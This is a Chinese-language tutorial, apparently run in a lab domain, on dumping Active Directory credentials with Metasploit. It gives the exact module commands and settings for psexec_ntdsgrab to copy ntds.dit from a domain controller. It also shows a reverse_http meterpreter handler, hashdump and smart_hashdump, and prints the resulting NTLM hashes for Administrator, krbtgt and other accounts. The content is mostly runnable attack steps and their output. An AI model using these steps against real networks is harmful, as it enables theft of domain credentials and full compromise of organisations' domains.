MSF读取ntds.dit文件

离线读取

离线读取使用msf读取ntds文件，前提是msf必须和域控相同，我们可以使用代理技术，将msf代理到内网，然后使用msf导出ntds文件

1、使用导出模块进行导出

```
use auxiliary/admin/smb/psexec_ntdsgrab
```

2、填写相关的选项，主要有 IP,域，用户名和密码

```
set RHOSTS 192.168.41.10
set SMBDomain hack.com
set smbuser administrator
set smbpass "123456kl;'/"
```

```
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options

Module options (auxiliary/admin/smb/psexec_ntdsgrab):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   CREATE_NEW_VSC        false            no        If true, attempts to create a volume shadow copy
   RHOSTS                192.168.41.10    yes       The target host(s), see https://github.com/rapid7/m
                                                    etasploit-framework/wiki/Using-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pre
                                                    tty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             hack.com         no        The Windows domain to use for authentication
   SMBPass               123456kl;'/      no        The password for the specified username
   SMBSHARE              C$               yes       The name of a writeable share on the server
   SMBUser               administrator    no        The username to authenticate as
   VSCPATH                                no        The path to the target Volume Shadow Copy
   WINPATH               WINDOWS          yes       The name of the Windows directory (examples: WINDOW
                                                    S, WINNT)

msf6 auxiliary(admin/smb/psexec_ntdsgrab) >
```

2、运行之后 ntds和system文件会被保存到/root/.msf4/loot下

```
[*] Running module against 192.168.41.10

[*] 192.168.41.10:445 - Checking if a Volume Shadow Copy exists already.
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - No VSC Found.
[*] 192.168.41.10:445 - Creating Volume Shadow Copy
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[+] 192.168.41.10:445 - Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - Checking if NTDS.dit was copied.
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - Downloading ntds.dit file
```

3、在相应的目录下找到该文件

```
┌──(root㉿kali)-[~/.msf4/loot]
└─# ls
20220927044218_default_192.168.41.10_psexec.ntdsgrab._168305.dit  20220927044300_default_192.168.41.10_psexec.ntdsgrab._132561.bin
```

4、使用相应的工具读取该文件即可

在线读取

1、使用cs或者其他的方式先上线的msf中使用派生会话的方式

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 本机ip
set lport 接受的端口
exploit 执行
```

```
Payload options (windows/meterpreter/reverse_http):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', s
   LHOST     118.178.134.226  yes       The local listener hostname
   LPORT     9987             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[-] Handler failed to bind to 118.178.134.226:9987
[*] Started HTTP reverse handler on http://0.0.0.0:9987
```

2、拿到shell之后执行hashdump，如果不能执行就迁移进程到64位中

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cfe3e2ff506a887df7fc15735cedfb9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc:::
WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda:::
PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1:::
WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96:::
2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917:::
2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7:::
```

3、或者使用下面的脚本，也可以读取域内的hash

```
post/windows/gather/smart_hashdump
```

```
msf6 post(windows/gather/smart_hashdump) > run

[*] Running module against DC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220927170249_default_192.168.41.10_windows.hashes_808937.txt
[+] Host is a Domain Controller
[*] Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cfe3e2ff506a887df7fc15735cedfb9
[+]     krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11
[+]     wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+]     zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+]     khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+]     ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d
[+]     DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc
[+]     WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda
[+]     PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1
[+]     WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96
[+]     2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917
[+]     2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7
[*] Post module execution completed
msf6 post(windows/gather/smart_hashdump) >
```